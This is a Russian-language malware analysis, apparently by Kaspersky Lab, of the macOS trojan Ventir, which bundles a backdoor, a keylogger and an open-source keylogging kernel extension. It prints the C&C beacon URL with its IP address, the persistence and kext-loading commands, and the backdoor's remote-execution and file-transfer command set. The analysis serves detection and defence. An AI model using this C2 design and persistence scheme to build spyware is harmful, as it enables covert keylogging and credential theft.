Троянец Ventir: собери свой MacOS-шпион

Совсем недавно на анализ к нам попал интересный файл (MD5 9283c61f8cce4258c8111aaf098d21ee), оказавшийся многомодульным зловредом для MacOS X. Уже по итогам предварительного изучения стало ясно, что ничего хорошего файл не делает: обычный 64-битный исполняемый mach-o файл содержал в секции данных еще несколько mach-o файлов, один из которых он ставил в автозагрузку, что характерно для троянцев-дропперов.

Дальнейшее исследование показало, что внутри зловреда скрываются бэкдор, кейлоггер и троянец-шпион. И особенно примечательно то, что кейлоггер использует расширение ядра с открытым исходным кодом, доступным каждому желающему, например, на GitHub!

В данный момент обнаруженные файлы в зависимости от их назначения детектируются антивирусными решениями «Лаборатории Касперского» как: Trojan-Dropper.OSX.Ventir.a, Backdoor.OSX.Ventir.a, Trojan-Spy.OSX.Ventir.a и not-a-virus:Monitor.OSX.LogKext.c.

Исходный файл (Trojan-Dropper.OSX.Ventir.a)

Сразу после запуска дроппер проверяет наличие у него прав суперпользователя с помощью вызова функции geteuid(). От результата проверки зависит, куда будут установлены файлы троянца:

  • Если права суперпользователя есть, то файлы будут установлены в /Library/.local и /Library/LaunchDaemons;
  • Если прав суперпользователя нет, то файлы будут установлены в ~/Library/.local и ~/Library/LaunchAgents (значок «~» обозначает путь к домашней папке текущего пользователя).

Все файлы троянца, которые будут загружены на зараженный компьютер, изначально располагаются в секции «__data» файла-дроппера.

Расположение файлов троянца внутри дроппера

Расположение файлов троянца внутри дроппера

В итоге в зараженную систему будут установлены следующие файлы:

  1. Library/.local/updated – заново запускает файлы update и EventMonitor в случае их неожиданного завершения.
  2. Library/.local/reweb — служит для перезапуска файла updated.
  3. Library/.local/update — бэкдорный модуль.
  4. Library/.local/libweb.db – файл базы данных зловреда. Изначально содержит глобальные настройки троянца, например адрес C&C.
  5. Library/LaunchAgents (или LaunchDaemons)/com.updated.launchagent.plist – файл свойств, используемый для установки файла Library/.local/updated в автозапуск с помощью демона launchd.
  6. В зависимости от наличия прав суперпользователя:

    А)  если есть – /Library/.local/kext.tar. Далее архив распаковывается:

    • updated.kext – драйвер, перехватывающий нажатые пользователем клавиши;
    • Keymap.plist – карта соответствия кодов нажатых клавиш их значениям;
    • EventMonitor – агент, логирующий нажатые клавиши, а так же некоторые системные события в файл Library/.local/.logfile.

    Б) если нет — ~/Library/.local/EventMonitor. Это агент, логирующий имя текущего активного окна и нажатые клавиши в файл Library/.local/.logfile

После установки перечисленных файлов, троянец ставит в автозапуск файл updated при помощи стандартной консольной утилиты launchctl (команда launchctl load %s/com.updated.launchagent.plist).

Далее, в случае наличия прав суперпользователя, дроппер загружает логирующий драйвер в ядро при помощи стандартной утилиты OSX kextload (команда kextload /System/Library/Extensions/updated.kext)

После этого Trojan-Dropper.OSX.Ventir.a запускает файл reweb и самоудаляется из системы.

Файлы updated и reweb

Файл updated завершает все процессы с именем reweb (команда killall -9 reweb). Далее он периодически проверяет, запущены ли процессы EventMonitor и update, и в случае необходимости заново запускает их.

Файл reweb завершает все процессы с именами updated и update, после чего  запускает файл Library/.local/updated.

Файл update (Backdoor.OSX.Ventir.a)

В начале своей работы бэкдор распределяет значения полей из таблицы config базы данных libweb.db по локальным переменным для дальнейшего использования.

Для получения команд использует HTTP GET-запрос вида: http://220.175.13.250:82/macsql.php?mode=getcmd&key=1000&udid=000C29174BA0

где key – некий ключ, хранящийся в libweb.db в таблице config, udid – МАС-адрес, а 220.175.13.250:82 – IP-адрес и порт C&C сервера.

Данный запрос отправляется периодически с небольшим интервалом в бесконечном цикле.

Бэкдор умеет обрабатывать следующие команды от  C&C:

  • reboot – перезагрузка компьютера;
  • restart – перезапуск бэкдора с помощью запуска файла reweb;
  • uninstall – полное удаление бэкдора из системы.
  • show config – отправка данных из таблицы config на C&C-сервер;
  • down exec – обновление файла update, загрузка его с C&C-сервера;
  • down config – обновление файла конфигурации libweb.db,  загрузка его с C&C-сервера;
  • upload config – отправление файл libweb.db на C&C-сервер;
  • update config:[параметры] — обновление таблицы config в файле базы данных libweb.db, в параметрах передаются значения полей таблицы;
  • executeCMD:[параметр] – выполнение команды, указанной в параметре через функцию popen(cmd, «r»), отправление вывода команды на C&C-сервер;
  • executeSYS:[параметр] – выполнение команды, указанной в параметре через функцию system(cmd);
  • executePATH:[параметр] – запуск файла из директории Library/.local/, имя файла передается в параметре;
  • uploadfrompath:[параметр] – загрузка файла с указанным в параметре именем из директории Library/.local/  на C&C сервер;
  • downfile:[параметры] – скачивание файла с заданным в параметре именем с C&C-сервера и сохранение его по указанному в параметре пути.

Часть команд, обрабатываемая бэкдорным модулем

Часть команд, обрабатываемая бэкдорным модулем

Файл EventMonitor (Trojan-Spy.OSX.Ventir.a)

Этот файл загружается в систему, если дропперу не удается получить права суперпользователя. После запуска Trojan-Spy.OSX.Ventir.a устанавливает свой обработчик системных событий при помощи API функций Carbon Event Manager. В новом обработчике происходит перехват событий связанных с нажатием клавиш и их логирование в файл ~/Library/.local/.logfile. Кнопки-модификаторы (такие как, например, shift) попадают в лог в следующем виде: [command],  [option],  [ctrl], [fn], [ESC], [tab], [backspace] и т.д.

Обработчик событий клавиатуры

Обработчик событий клавиатуры

Также непосредственно перед обработкой нажатой клавиши происходит определение имени процесса, чье окно в данный момент является активным. Для этого используются функции GetFrontProcess и CopyProcessName из Carbon API. Имя процесса также заносится в лог в виде [Application {имя_процесса} is the frontwindow]. Благодаря этому хозяин троянца может определить, в каком именно приложении вводилась залогированная фраза.

Файл kext.tar (not-a-virus:Monitor.OSX.LogKext.c)

Как уже было сказано ранее,  архив kext.tar загружается на зараженный компьютер, если троянцу Trojan-Dropper.OSX.Ventir удалось получить права суперпользователя. В архиве находятся три файла:

  • updated.kext
  • EventMonitor
  • Keymap.plist

Программный пакет updated.kext является расширением ядра (kext) с открытым исходным кодом и предназначен для перехвата нажатий клавиш. Это расширение уже давно детектируется нами как not-a-virus:Monitor.OSX.LogKext.c, а его исходный код (как уже было сказано ранее) в данный момент доступен любому желающему.

Файл Keymap.plist — это карта соответствия кодов нажатых клавиш их значениям. Файл EventMonitor использует ее для определения значения клавиш по соответствующим кодам, передаваемых ему файлом updated.kext.

Файл EventMonitor – файл-агент, который принимает данные от расширения ядра updated.kext, обрабатывает их и заносит в лог-файл /Library/.local/.logfile. Вот, например,  часть такого лога, содержащая перехваченный троянцем логин и пароль:

Ventir

Как видно из скриншота, как только жертва заходит в браузере на сайт yandex.ru и вводит там логин и пароль от почтового аккаунта, эти данные тут же попадают в лог, а оттуда – в руки злоумышленников.

Эта угроза особенно актуальна на фоне случившихся совсем недавно утечек баз логинов и паролей от аккаунтов «Яндекса», Mail.ru и Gmail. Не исключено, что в наполнении этих баз приняли участие и зловреды семейства Ventir.

В завершение стоит отметить, что своей многомодульной структурой троянец Trojan-Dropper.OSX.Ventir.a напоминает небезызвестный Trojan.OSX.Morcut (он же OSX/Crisis), где было примерно такое же количество модулей с похожим назначением. Использование программного обеспечения с открытым исходным кодом существенно упрощает злоумышленникам задачу конструирования новых зловредов. Таким образом, можно предположить, что число троянцев-шпионов в дальнейшем будет только расти.

Публикации на схожие темы

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *